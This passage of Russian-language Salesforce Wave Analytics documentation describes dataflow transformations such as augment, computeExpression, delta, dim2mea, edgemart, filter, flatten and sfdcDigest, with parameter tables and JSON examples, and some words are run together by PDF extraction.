Трансформация augment возвращает результаты из отдельной строки. Wave Analytics выбирает одну строку из списка
совпавших строк в произвольном порядке.

Прим.: ПрикаждомвыполнениипотокаданныхWave Analyticsможетвозвращатьразныерезультатывзависимости
от возращенной строки.

Рассмотримпример. Пользовательприменяет трансформацию augment для следующихнаборовданных, настраивает
взаимосвязь Price, выбираетоперацию LookupSingleValue исопоставляетзаписинаосновеполей Id и ProdId.

Несмотря на несколько строк для Prod3 в наборе данных Price, Wave Analytics выбирает одну совпадающую строку в
произвольном порядке и возвращает значения на основе данной строки. Ниже приведен результирующий набор
данных, еслиWave Analytics выбирает первую строку Prod3.

LookupMultiValue
Wave Analytics возвращает результаты из всех совпавших строк.

Рассмотримпример. Пользовательприменяет трансформацию augment для следующихнаборовданных, настраивает
взаимосвязь Price, выбирает операцию LookupMultiValue и сопоставляет записи на основе полей Id и ProdId.

Так как поиск вернул несколько строк для Prod3, поле измерения Price.Pricebook в итоговом наборе данных
становитсямногозначнымполемсовсемизначениямиизмерений. Полемеры Price.UnitPrice содержитзначение
«1 500» (сумма значений «800» и «700»). Ниже приведен результирующий набор данных.
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СМ. ТАКЖЕ:

Трансформация augment

Параметры augment

При определении трансформации augment задайте атрибуту action значение augment и настройте соответствующие
параметры.

Таблица ниже описывает доступные параметры ввода.

ЗначениеОбязательно?Параметр

Данныйпараметропределяетдействия
трансформации при совпадении

Нетoperation

нескольких строк правого набора
данных со строкой левого набора
данных. Допустимые значения:

• LookupSingleValue.
Возвращает значения из одной
совпавшей строки. Если параметр
operation не настраивается
пользователем, то трансформация
использует данную операцию.

• LookupMultiValue. Возвращает
значения из всех совпавших строк.

Дополнительную информацию о
каждой операции см. в разделе
«Специальные случаи для
сопоставления записей посредством
трансформации augment».

Узел в файле определения потока
данных, который определяет левый

Даleft

набор данных. Это один из двух
источников ввода для данной
трансформации.

Столбецключавлевомнабореданных,
используемый для дополнения

Даleft_key

наборов данных. При использовании
составного ключа левый и правый
ключи должны содержать одинаковое
количество столбцов в одинаковом
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ЗначениеОбязательно?Параметр

порядке. Составной ключ должен
использовать синтаксис ниже.

[ "Key Column1", "Key
Column2", …, "Key ColumnN" ]

Прим.: Ни левый, ни правый
ключ не могут быть
многозначным полем.

Узел в файле определения потока
данных, который определяет правый

Даright

набор данных. Это один из двух
источников ввода для данной
трансформации.

Взаимосвязь между левым и правым
наборами данных. Поток данных

Даrelationship

добавляет взаимосвязь в начало имен
правых столбцов в выходящем наборе
данныхдляиспользованияуникальных
и описательных имен столбцов.

Массив имен столбцов из правого
набора данных, который должен быть

Даright_select

добавлен в выходящий набор данных.
Поток данных добавляет взаимосвязь
в качестве префикса имени столбца
для определения имени правого
столбца в выходящем наборе данных.

Столбец ключа в правом наборе
данных, используемыйдлядополнения

Даright_key

наборов данных. При использовании
составного ключа левый и правый
ключи должны содержать одинаковое
количество столбцов в одинаковом
порядке.

СМ. ТАКЖЕ:

Трансформация augment
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Трансформация computeExpression

Трансформация computeExpressionпозволяет добавлятьизвлеченныеполя внаборданных. Значенияизвлеченныхполей
не извлекаются из источника вводных данных. Вместо этогоWave генерирует значения с помощью выражения SAQL,
который может основываться на одном или нескольких полях из вводных данных или других извлеченных полей.
Например, с помощью выражения можно назначить значение полю, объединить текстовые поля или выполнить
математические вычисления в числовых полях.

При создании трансформации computeExpression действуйте в соответствии с приведенным ниже руководством.

• В выражение можно включать только следующие SAQL операторы и функции.

– Арифметические операторы

– Оператор регистра

– Оператор строки

– Функции даты

• Значения извлеченного поля должны совпадать с указанным типом. Например, для извлеченного поля установите
тип Text, если значения являются строками.

• Wave вычисляет значенияизвлеченныхполейвтойпоследовательности, в какойониприведеныв JSON. Такимобразом,
при создании извлеченного поля на основе других извлеченных полей в той же трансформации computeExpression
вводные извлеченные поля должны отображаться первыми. Например, Derived_A должен стоять перед Derived_B в
следующемфрагменте трансформации JSON computeExpression:

"CreateDerivedFields": {
"action": "computeExpression",
"parameters": {

"source": "sourceNode",
"mergeWithSource": false,
"computedFields": [

{
"name": "Derived_A",
"type": "Text",
"label": "Derived Field A",
"saqlExpression": "\"hello \""},

{
"name": "Derived_B",
"type": "Text",
"label": "Derived Field B Dependent on Field A",
"saqlExpression": "Derived_A + \"world\""}

]
}

}

• Вы можете указать, должен ли итоговый набор данных включать только извлеченные поля или же вводные и
извлеченные поля.

Пример: Рассмотрим пример. Пользователю нужно создать набор данных на основе данных Salesforce о
потенциальных клиентах. Созданный поток данных извлекает поля Id и Amount из объекта Opportunity. Кроме того,
необходимо добавить следующие извлеченные поля в набор данных: ModifiedId, SalesTax, FinalPrice, и ValueCategory.
Для извлеченных полей необходимо выполнить следующие действия.

• Добавить «SFDC» к каждому Id потенциального клиента, чтобы получить новый измененный Id.

• Вычислить налог на продажу, исходя из размера налога 8 %.
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• Вычислить итоговую цену, сложив стоимость и налог на продажу.

• Разбить потенциальных клиентов на категории по низкому, среднему и высокому значению на основе
вычисленной итоговой цены.

Создайте определение потока данных ниже.

{
"salesData": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{"name": "Amount"},
{"name": "Id"}]}},

"Derived_Fields": {
"action": "computeExpression",
"parameters": {

"source": "salesData",
"mergeWithSource": true,
"computedFields": [

{
"name": "ModifiedId",
"type": "Text",
"saqlExpression": "\"SFDC\" + Id"},

{
"name": "SalesTax",
"type": "Numeric",
"precision": 18,
"defaultValue": "0",
"scale": 5,
"saqlExpression": "Amount * 0.08"},

{
"name": "FinalPrice",
"type": "Numeric",
"precision": 18,
"defaultValue": "0",
"scale": 5,
"saqlExpression": "Amount + SalesTax"},

{
"name": "ValueCategory",
"type": "Text",
"saqlExpression": "

case
when FinalPrice < 1000 then \"Low\"
when FinalPrice >= 1000 and FinalPrice < 2000 then \"Medium\"
else \"High\"

end"}
]

}
},
"Register_CategorizedSales": {

"action": "sfdcRegister",
"parameters": {

"alias": "Categorized_Sales",
"name": "Categorized_Sales",
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"source": "Derived_Fields" }
}

}

Параметры computeExpression

ПриопределениитрансформацииcomputeExpressionнеобходимонастроитьатрибутдействия computeExpression.
Также при этом указываются параметры источника ввода и выражения, используемых для генерирования значений.

Параметры computeExpression

При определении трансформации computeExpression необходимо настроить атрибут действия computeExpression.
Также при этом указываются параметры источника ввода и выражения, используемых для генерирования значений.

Чтобынастроитьпараметры, воспользуйтесьследующимиразделамиузла computeExpression: parameters и computedFields.

Параметры

Таблица ниже описывает параметры из раздела parameters.

ЗначениеОбязательно?Параметр

Узел в файле определения потока
данных, которыйопределяетисточник
ввода для данной трансформации.

Даsource

Указывает, включеныливводныеполя
в итоговый набор данных вместе с

НетmergeWithSource

извлеченными полями. Если указано
«истина», итоговый набор данных
содержит все вводные поля из
источника и извлеченные поля,
сгенерированныезаново. Еслиуказано
«ложь», итоговый набор данных
содержит только извлеченные поля.
По умолчанию установлено значение
«истина».

Атрибутыивыражение, используемые
для генерированияизвлеченныхполей

ДаcomputedFields

в наборе данных. См. подраздел
computedFields.

computedFields

Таблица ниже описывает атрибуты из раздела computedFields. Также в ней приведены дополнительные атрибуты,
спомощьюкоторыхможнопереопределятьметаданныеполей, чтобыданныепо-разномуотображалисьвнабореданных.
Например, Wave может заменять нулевые значения в поле значениями по умолчанию.
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ЗначениеОбязательно?Параметр

Имя API сгенерированного поля.Даname

Прим.: Имена API должны быть
уникальными. В противном
случае поток данных не
запустится.

Тип поляWave Analytics, связанный с
полем. Допустимые типы: «Текст»,
«Число» и «Дата».

Датип

Пример:

"type": "Text"

Имя сгенерированного поля,
отображаемое в пользовательском

Нетlabel

интерфейсе Wave. Данное поле может
содержать не более 255 символов. Имя
вводного поля по умолчанию не
указано.

Выражение SAQL, используемое для
вычисления значения извлеченного

ДаsaqlExpression

поля. Это выражение может
основываться на вводных или других
извлеченныхполях в трансформации.

Пример:

"saqlExpression":"toDate(birth_day,
\"yyyy-M-d\")"

Формат извлеченного поля даты.
Подробнуюинформациюоформатах

Да (только для полей даты)формат

см. в Справочном руководстве по
формату внешних данных.

Максимальное количество цифр в
числовом значении или длина

Да (только для числовых полей)точность

текстового значения. Для числовых
значений: включает все числа слева и
справа от десятичной запятой (но не
содержит символ десятичного
разделителя). Значение должно
находиться в диапазоне от 1 до 18
включительно. Для текстовых
значений: Значение по умолчанию —
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ЗначениеОбязательно?Параметр

255 символов; должно содержать от 1
до 32 00 символов включительно.

Пример:

"precision": 10

Количество цифр справа от
десятичной запятой в числовом

Нетмасштаб

значении. Не должно превышать
значение точности. Значение должно
находиться в диапазоне от 0 до 17
символов включительно.

Пример:

"scale": 2

Данныйпараметрможетбытьнулевым
для текстовых и числовых полей.

НетdefaultValue

Стандартное значение, заменяющее
нулевое значениедля указанногополя.

СМ. ТАКЖЕ:

Трансформация computeExpression

Трансформация delta

Трансформацияdelta вычисляетизмененияв значениистолбцамерыизнабораданныхзаопределенныйпериодвремени.
Трансформация delta создает выходной столбец в наборе данных для хранения дельты для каждой записи. Созданные
дельты могут быстро добавляться бизнес-аналитиками в запросы.

Трансформация delta вычисляет каждое дельта-значение путем сравнения значения каждой записи со значением
предыдущей записи. Прежде чем начать вычисление дельта-значений, трансформация delta изменяет порядок
неотсортированныхзаписей. Дляэтого, трансформациясортируетданныепоуказанномуизмерению, а затемпоуказанному
столбцу опорной даты.

Прим.: Ниже перечислены столбцы, которые создаются для каждой даты, обрабатываемой посредствомWave
Analytics.

ОписаниеСтолбец опорного времени

Например, прииспользованиистолбцадаты «CloseDate»
создается столбец опорного времени

<имя_столбца_даты>_sec_epoch

«CloseDate_sec_epoch». Данный столбец содержит
количество секунд, прошедших после наступления
1 января 1970 года (00:00 по Гринвичу).
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ОписаниеСтолбец опорного времени

Например, прииспользованиистолбцадаты «CloseDate»
создается столбец опорного дня «CloseDate_day_epoch».

<имя_столбца_даты>_day_epoch

Данныйстолбецсодержитколичестводней, прошедших
посленаступления 1 января 1970 года (00:00 поГринвичу).

Пример: Рассмотрим пример ниже. В данном примере требуется создать набор данных OppHistoryDelta, который
содержитжурналвозможностиизобъекта OpportunityHistory, а такжевычисляетдельтыдлястоимостейвозможностей.

Объект OpportunityHistory содержит указанные ниже данные.

AmountStageNameCloseDateOpportunityId

100New1/1/20141

100New1/1/20142

200ClosedWon2/1/20142

100ClosedWon3/1/20141

Создайте определение потока данных ниже.

{
"Extract_Opportunities": {

"action": "sfdcDigest",
"parameters": {

"object": "OpportunityHistory",
"fields": [

{ "name": "OpportunityId" },
{ "name": "CloseDate" },
{ "name": "StageName" },
{ "name": "Amount" }

]
}

},
"Calculate_Delta": {

"action": "delta",
"parameters": {

"dimension": "OpportunityId",
"epoch": "CloseDate_day_epoch",
"inputMeasure": "Amount",
"outputMeasure": "DeltaAmount",
"source": "Extract_Opportunities"

}
},
"Register_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OppHistoryDelta",
"name": "OppHistoryDelta",
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"source": "Calculate_Delta"
}

}
}

Чтобы вычислить дельта-значения для каждой стоимости возможности, трансформация delta сортирует записи по
измерению (OpportunityId), а затем по времени (CloseDate_day_epoch).

AmountStageNameCloseDateOpportunityID

100New1/1/20141

100ClosedWon3/1/20141

100New1/1/20142

200ClosedWon2/1/20142

После сортировки записейдля каждогоизмерения (OpportunityId) трансформация сравниваетпредыдущее значение
со следующим значением для определения дельты для каждой записи. Трансформация создает указанный ниже
набор данных.

DeltaAmountAmountStageNameCloseDateOpportunityId

0100New1/1/20141

0100ClosedWon3/1/20141

0100New1/1/20142

100200ClosedWon2/1/20142

Трансформация вставляет дельта-значение «0» для первой записи каждого измерения.

Прим.: Если возможность содержит несколько изменений за один день, то записи должны сортироваться по
более короткому интервалу. В данном случае, по столбцу CloseDate_sec_epoch. В противном случае, записи
могут сортироваться некорректно, поэтому дельта-значения могут содержать ошибки.

Параметры delta

При определении трансформации delta задайте атрибуту action значение delta и настройте соответствующие
параметры.

Параметры delta

Приопределениитрансформацииdelta задайтеатрибуту action значение delta инастройтесоответствующиепараметры.

Таблица ниже описывает доступные параметры ввода.

3802

Интеграция данныхAnalytics



ЗначениеОбязательно?Параметр

Столбец измерения в наборе данных,
используемыйдлясортировкизаписей
при вычислении дельта-значений.

Даdimension

Столбец опорной даты в наборе
данных, используемыйдлясортировки

Даepoch

записейвнутрикаждогоизмеренияпри
вычислении дельта-значений.

Столбец меры, выбранный для
вычисления дельты.

ДаinputMeasure

Имявыходного столбца, содержащего
дельта-значение.

ДаoutputMeasure

Узел в файле определения потока
данных, который содержит набор

Даsource

данных, выбранный для добавления
дельта-столбца.

СМ. ТАКЖЕ:

Трансформация delta

Трансформация dim2mea

Трансформация dim2mea создает новую меру на основе измерения. Трансформация добавляет новый столбец меры в
набор данных. Кроме того, трансформация сохраняет измерение во избежание нарушения связанных текущих
представлений Lens и панелей мониторинга.

Если трансформация не может создать меру из измерения, то мера заполняется указанным стандартным значением. Пи
отсутствии стандартного значения трансформация вставляет значение «0».

Пример: Рассмотрим пример ниже. Объект Opportunity содержит настраиваемое текстовое поле «StageVal__c»,
отображающеестоимость возможностинаотдельномэтапе. Данноеполе является текстовым, поэтомуWave Analytics
загружает данные в видеизмерения. Темнеменее, требуется создатьмеруиз данногоизмерения дляпредоставления
пользователям возможности выполнения вычислений над стоимостью этапа.

Создайте определение потока данных ниже.

{
"Extract_Opportunities": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
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{ "name": "StageVal__c" }
]

}
},
"Create_Measure_From_Dimension": {

"action": "dim2mea",
"parameters": {

"dimension": "StageVal__c",
"measure": "StageValue",
"measureDefault": "0",
"measureType": "long",
"source": "Extract_Opportunities"

}
},
"Register_The_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OpportunitiesWithConvertedMeasure",
"name": "OpportunitiesWithConvertedMeasure",
"source": "Create_Measure_From_Dimension"

}
}

}

Параметры dim2mea

Приопределениитрансформацииdim2mea задайте атрибуту action значение dim2mea инастройтесоответствующие
параметры.

Параметры dim2mea

При определении трансформации dim2mea задайте атрибуту action значение dim2mea и настройте соответствующие
параметры.

Таблица ниже описывает доступные параметры ввода.

ЗначениеОбязательно?Параметр

Столбец измерения в наборе данных,
используемый для создания меры.

Даdimension

Имя выходящей меры. Данное имя
столбца должно быть уникальным

Даmeasure

внутринабораданных. Нерекомендуем
использовать имя измерения, так как
трансформация сохраняет измерение
в наборе данных.

Стандартное значение меры при
неудачном создании меры из
измерения.

ДаmeasureDefault
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ЗначениеОбязательно?Параметр

Тип меры. Допустимое значение:
«long».

ДаmeasureType

Узел в файле определения потока
данных, который содержит набор

Даsource

данных, выбранный для добавления
меры.

СМ. ТАКЖЕ:

Трансформация dim2mea

Трансформация edgemart

Трансформацияedgemartпредоставляетпотокуданныхдоступк текущемузарегистрированномунаборуданных, который
может содержать данные Salesforce, внешние данные или данные обоих типов. Рекомендуем использовать данную
трансформацию для обращения к набору данных с целью использования его данных в последующих трансформациях
потока данных. Данная трансформация, используемая совместно с трансформацией augment, позволяет объединять
текущий набор данных с новым.

Пример: Рассмотрим пример ниже. В данном примере требуется сравнить итоговую стоимость со стоимостью
возможности для определения вероятности применения крупных скидок с целью закрытия сделок. Набор данных
FinalSales создан и зарегистрирован ранее. Набор данных FinalSales содержит итоговую стоимость каждой закрытой
и реализованной возможности.

Табл. 41: Набор данных FinalSales

SaleAmountStageNameUpdateDateOppID

100,000ClosedWon1/1/20141

150,000ClosedWon11/1/20132

200,000ClosedWon2/1/20143

Теперьтребуется создатьнаборданных, содержащийсведенияовозможностиизобъекта Opportunity. Затемтребуется
объединить данные из текущего набора данных FinalSales с набором данных Opportunity.

Создайте определение потока данных ниже.

{
"Extract_Opportunities": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" }

]
}

3805

Интеграция данныхAnalytics



},
"Extract_Final_Sales_Data": {

"action": "edgemart",
"parameters": { "alias": "FinalSales" }

},
"Combine_Opportunities_FinalSales": {

"action": "augment",
"parameters": {

"left": "Extract_Opportunities",
"left_key": [ "Id" ],
"relationship": "Opportunity",
"right": "Extract_Final_Sales_Data",
"right_key": [ "OppID" ],
"right_select": [ "SaleAmount" ]

}
},
"Register_Opportunity_FinalSales_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OpportunityVersusFinalSales",
"name": "OpporunityVersusFinalSales",
"source": "Combine_Opportunities_FinalSales"

}
}

}

Параметры edgemart

Приопределениитрансформацииedgemart задайтеатрибуту action значение edgemart инастройтесоответствующие
параметры.

Параметры edgemart

Приопределении трансформации edgemart задайте атрибуту action значение edgemart инастройте соответствующие
параметры.

Таблица ниже описывает доступный параметр ввода.

ЗначениеОбязательно?Параметр

API-имянабораданных, используемого
для извлечения данных. Чтобы

Даalias

определить API-имя набора данных,
отредактируйте набор данных и
просмотрите системное имя.

СМ. ТАКЖЕ:

Трансформация edgemart
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Трансформация filter

Трансформация filter удаляет записиизтекущегонабораданных. Пользовательзадаетусловиефильтра, котороеопределяет
записи, подлежащие сохранению в наборе данных.

Пример: Рассмотрим пример ниже. В данном примере требуется создать набор данных, содержащий только
закрытые и реализованные возможности. Сначала извлеките все возможности из объекта Opportunity. Затем
отфильтруйте записи для отображения только возможностей с этапом Closed Won.

Создайте определение потока данных ниже.

{
"Extract_Opportunities": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Filter_Opportunities": {

"action": "filter",
"parameters": {

"filter": "StageName:EQ:Closed Won",
"source": "Extract_Opportunities"

}
},
"Register_My_Won_Oppportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "MyWonOpportunities",
"name": "MyWonOpportunities",
"source": "Filter_Opportunities"

}
}

}

Параметры filter

При определении трансформации filter задайте атрибуту action значение filter и настройте соответствующие
параметры.

Синтаксис выражения filter

Пользователь создает выражение filter в трансформации filter на основе как минимум одного измерения в наборе
данных.
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Параметры filter

Приопределениитрансформации filter задайтеатрибуту action значение filter инастройтесоответствующиепараметры.

Таблица ниже описывает доступные параметры ввода.

ЗначениеОбязательно?Параметр

Выражение filter, которое определяет
записи, подлежащие добавлению в

Даfilter

новый набор данных. См. раздел
«Синтаксис выражения filter».

Узел в файле определения потока
данных, который содержит набор
данных, подлежащийфильтрации.

Даsource

СМ. ТАКЖЕ:

Трансформация filter

Синтаксис выражения filter

Пользователь создает выражение filter в трансформации filterна основе как минимумодного измерения в наборе данных.

Прим.: Сравнения строк в выражении filter чувствительны к регистру.

Ниже перечислены доступные типы выражений filter.

ОписаниеСинтаксис выражения filter

Истина, если измерение и значение являются равными.dim:EQ:value

Пример: "filter": "StageName:EQ:Closed Won".

Истина, еслиизмерениесоответствуетзаданномудиапазону
между val0 и val1.

dim:R:val0:val1

Пример: "filter": "EmployeeId:R:100:1000".

Истина, если измерение больше или равно значению на
основедвоичногопорядкасортировки. Например, является

dim:R:val

истинойприиспользованииизмерения «Город» изначения
«Томск», так как «Город» > «Томск».

Пример: "filter": "LastName:R:Li".

Истина, если измерение меньше или равно значению на
основе двоичного порядка сортировки.

dim:R::val

Пример: "filter": "LastName:R::Levy".

Истина, если измерение и значение не являются равными.dim:N:val
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ОписаниеСинтаксис выражения filter

Пример: "filter": "RoleName:N:Manager".

Истина, если измерение равно значению val1 или val2.
Данное выражение filter использует логический оператор

dim:EQ:val1|val2

«ИЛИ» (|). При необходимости сравните значение
измерения относительно не менее двух значений.
Например, чтобы сравнить относительно трех значений,
воспользуйтесь следующим синтаксисом:
dim1:EQ:val1|val2|val3.

Пример: "filter": "Lead
Status:EQ:Open|Contacted".

Истина, если измерение dim1 равно значению val1 и
измерение dim2 равно значению val2. Данное выражение

dim1:EQ:val1,dim2:EQ:val2

filter использует логический оператор «И» (,). При
необходимостисравнитеболеедвухизмерений. Например,
чтобысравнитьтриизмерения, воспользуйтесьследующим
синтаксисом: dim1:EQ:val1,dim2:EQ:val2,dim3:EQ:val3.

Пример: "filter": "Lead
Status:EQ:Qualified,Rating:EQ:Hot".

СМ. ТАКЖЕ:

Трансформация filter

Трансформация flatten

Трансформация flatten выравнивает иерархические данные. Например, пользователь может выровнять иерархиюролей
Salesforce для применения параметров безопасности строки к набору данных на основе иерархии ролей.

При настройке трансформации flatten для выравнивания иерархии рекомендуем задать поле, содержащее каждый узел
иерархии, и поле, содержащее соответствующего родителя на основе иерархии. Трансформация flatten генерирует одну
запись для каждого узла иерархии. Каждая запись содержит всех предшественников по иерархической цепочке для
каждого узла.

Трансформация flatten хранит список предшественников в результирующем наборе данных в двух форматах. Один
столбец содержит список всех предшественников (через запятую) для каждого узла иерархии. Другой столбец содержит
иерархический путь.

Чтобы определить способ хранения предшественников, просмотрите последние два столбца указанного ниже
выровненного набора данных.

RolePathРолиКод родительской
роли

Имя ролиКод роли

\10\20\3010, 20, 3010Торговый
представитель 1

1
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RolePathРолиКод родительской
роли

Имя ролиКод роли

\10\20\3010, 20, 3010Торговый
представитель 2

2

\11\20\3011, 20, 3011Торговый
представитель 3

3

\20\3020, 3020Региональный
менеджер 1

10

\20\3020, 3020Региональный
менеджер 2

11

\303030Вице-президент 120

\303030Вице-президент 221

Не применимоНе применимоНе применимоГенеральный
директор

30

Пример: Рассмотримпримерниже. Вданномпримеретребуетсясоздатьнаборданных, содержащийвсевозможности.
Каждая возможностьдолжнабытьдополненасведениямиопользователеиролидляответственногоза возможность.
Кроме того, применение параметров безопасности строки на основе иерархии ролей требует наличия списка всех
вышестоящих предшественников в каждой записи возможности. Чтобы создать список предшественников,
воспользуйтесь трансформацией flatten для выравнивания иерархии ролей.

Создайте файл определения потока данных ниже.

{
"Extract_Opportunity": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Extract_User": {

"action": "sfdcDigest",
"parameters": {

"object": "User",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Department" },
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{ "name": "UserRoleId" }
]

}
},
"Extract_UserRole": {

"action": "sfdcDigest",
"parameters": {

"object": "UserRole",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "ParentRoleId" }

]
}

},
"Flatten_UserRole": {

"action": "flatten",
"parameters": {

"source": "Extract_UserRole",
"self_field": "Id",
"parent_field": "ParentRoleId",
"multi_field": "Roles",
"path_field": "RolePath"

}
},
"Augment_User_FlattenUserRole": {

"action": "augment",
"parameters": {

"left": "Extract_User",
"left_key": [ "UserRoleId" ],
"relationship": "Role",
"right": "Flatten_UserRole",
"right_key": [ "Id" ],
"right_select": [

"Id",
"Name",
"Roles",
"RolePath"

]
}

},
"Augment_Opportunity_UserWithRoles": {

"action": "augment",
"parameters": {

"left": "Extract_Opportunity",
"left_key": [ "OwnerId" ],
"right": "Augment_User_FlattenUserRole",
"relationship": "Owner",
"right_select": [

"Name",
"Department",
"Role.Id",
"Role.Name",
"Role.Roles",
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"Role.RolePath"
],
"right_key": [ "Id" ]

}
},
"Register_OpportunityWithRoles_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OppRoles",
"name": "OppRoles",
"source": "Augment_Opportunity_UserWithRoles",
"rowLevelSecurityFilter": "'Owner.Role.Roles' == \"$User.UserRoleId\" || 'OwnerId'

== \"$User.Id\""
}

}
}

Чтобы выровнять иерархию ролей Salesforce, трансформация flatten использует указанные ниже поля ввода из
объекта UserRole.

Id
Данное поле определяет каждый узел в иерархии ролей Salesforce.

ParentRoleId
Данное поле определяет родителя согласно иерархии ролей.

После обработки каждой иерархической взаимосвязи в объекте UserRole трансформация flatten генерирует одну
запись для каждого кода роли. Каждая запись содержит все роли предшественников для каждой роли иерархии.
Трансформация flatten генерирует два выходных столбца для хранения всех ролей предшественников для каждой
роли.

Параметры flatten

При определении трансформации flatten задайте атрибуту action значение flatten и настройте соответствующие
параметры.

Параметры flatten

При определении трансформации flatten задайте атрибуту action значение flatten и настройте соответствующие
параметры.

Таблица ниже описывает доступные параметры ввода.

ЗначениеОбязательно?Параметр

Имя поля ввода, определяющего каждый узел в иерархии.Даself_field

Имяполяввода, определяющегопрямогородителякаждого
узла виерархии. Например, роль «Региональныйменеджер

Даparent_field

1» является родительской для роли «Торговый
представитель 1» в иерархии ролей.

Имямногозначногополявывода, содержащегосписоквсех
предшественников в иерархии, — от нижнего уровня до

Даmulti_field
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ЗначениеОбязательно?Параметр

верхнего. Трансформация flatten создает данное поле и
генерирует список предшественников для каждого узла
иерархии. Например, роли «Торговый представитель 1»
соответствует следующая иерархия предшественников:
«Менеджер по продажам 1,Региональный менеджер
1,Вице-президент 1,Генеральный директор».

Строковое представление многозначного поля (через
обратную косую черту). Данное поле вывода содержит

Даpath_field

иерархическийпуть всехпредшественниковвиерархии —
от нижнего уровня до верхнего. Трансформация flatten
создает данное поле и генерирует исторический путь для
каждого узла иерархии. Например, роли «Торговый
представитель» в иерархии ролей соответствует значение:
«Менеджер по продажам 1\Региональный менеджер
1\Вице-президент 1\Генеральный директор».

Узел в файле определения потока данных, который
содержит иерархические данные, подлежащие

Даsource

выравниванию. Данный узел является источником ввода
для данной трансформации, поэтому должен содержать
поля ввода, соотнесенные с параметрами self_field и
parent_field.

Прим.: По умолчанию поля multi_field и path_field создаются как системные поля, которые не отображаются в
пользовательскоминтерфейсе. Чтобыэтиполяотображались впользовательскоминтерфейсе, установите атрибут
метаданных IsSystemField в значение false для каждого поля в трансформации flatten. Дополнительные
сведения об атрибутах метаданных см. в разделе Переопределение метаданных, созданных посредством
трансформации.

СМ. ТАКЖЕ:

Трансформация flatten

Трансформация sfdcDigest

Трансформация sfdcDigest генерирует набор данных на основе данных, извлекаемых из объекта Salesforce. Объекты и
поля Salesforce, используемые для извлечения данных, определяются пользователем. Отдельные поля, содержащие
конфиденциальные данные или несущественную информацию, могут быть исключены из трансформации.

При загрузкефайла определения потока данныхWave Analytics проверяет доступ к объектам и полям Salesforce на основе
профиля пользователя, загружающегофайл. Приналичии поля или объекта, недоступного профилюпользователя для
чтения, загрузка прекращается.

При выполненииWave Analytics запускает поток данных от имени пользователя интеграции. Wave Analytics проверяет
доступкобъектамиполям Salesforce наосновепрофиляпользователяинтеграции. Например, еслипотокданныхпытается
извлечь данные из настраиваемого поля, которое недоступно пользователю интеграции для чтения, то задание потока
данных не выполняется.
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Прим.: Пользователь интеграции — это предварительно настроенный пользователь, который создается при
включенииWave Analytics в организации. Чтобы получить доступ к объекту или полю Salesforce, обратитесь к
администратору.

ДополнительнуюинформациюопредварительнонастроенныхпользователяхвWave Analytics см. вРуководствепообеспечению
безопасности Wave Analytics.

Пример: Рассмотримпримерниже. Вданномпримеретребуетсясоздатьнаборданных, содержащийвсевозможности
из объекта Opportunity.

Создайте определение потока данных ниже.

{
"Extract_Opportunities": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" },
{ "name": "OpportunitySupportTeamMembers__c" }

]
}

},
"Register_Opportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "Opportunities",
"name": "Opportunities",
"source": "Extract_Opportunities"

}
}

}

Советы по использованию трансформации sfdcDigest

• При выборе полей помните, что набор данных может содержать максимум 5 000 полей.

• Для извлечения данных из объекта Salesforce трансформация sfdcDigest выполняет запрос SOQL. Длина запроса SOQL
не может превышать 20 000 символов. При превышении максимальной длины запроса SOQL результаты выданы не
будут. Для сокращения длины запроса SOQL разбейте извлечение на две или более трансформации sfdcDigest и
используйте трансформацию augmentдляобъединениярезультатов. Например, можносоздатьодну трансформацию
sfdcDigest для извлечения половины полей и другую трансформацию sfdcDigest для извлечения оставшихся полей.

Фильтрация записей, извлеченных из объекта Salesforce

Добавьтефильтр в трансформацию sfdcDigest для извлечения набора всех записей из объекта Salesforce. Фильтрация
записей позволяет сокращать количество извлеченных и обработанных записей, исключать записи, содержащие
бесполезные или конфиденциальные данные, и повышать производительность потока данных.
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Переопределение метаданных поля Salesforce

Принеобходимостипереопределитеметаданныеполя, извлекаемыетрансформацией sfdcDigestизобъекта Salesforce,
для иного отображения данных в наборе данных. Например, Wave Analytics может добавить стандартное значение в
записи, содержащие пустое поле.

Неподдерживаемые объекты и поля Salesforce

Трансформация sfdcDigest не может извлекать данные из всех объектов и полей Salesforce. Прежде чем настраивать
извлечение объектов Salesforce, просмотрите ограничения ниже.

Параметры sfdcDigest

Приопределении трансформации sfdcDigest задайте атрибуту action значение sfdcDigest инастройте параметры
для нужных объектов и полей. При необходимости настройте параметры для фильтрации записей, извлеченных из
объекта Salesforce.

Фильтрация записей, извлеченных из объекта Salesforce

Добавьте фильтр в трансформацию sfdcDigest для извлечения набора всех записей из объекта Salesforce. Фильтрация
записей позволяет сокращать количество извлеченных и обработанных записей, исключать записи, содержащие
бесполезные или конфиденциальные данные, и повышать производительность потока данных.

Фильтр содержит как минимум одно условие, которое сопоставляет значение поля с указанным значением. Например,
Amount >= 1000000. Принеобходимостиприменитефункции SOQL к значениюполя в условиифильтра (например,
CALENDAR_YEAR(CreatedDate) = 2011). Чтобы добавить разные условия фильтра, воспользуйтесь логическими
операторами AND, OR и NOT. Чтобы экранировать двойные кавычки, добавленные в строки, воспользуйтесь обратной
косой чертой (\).

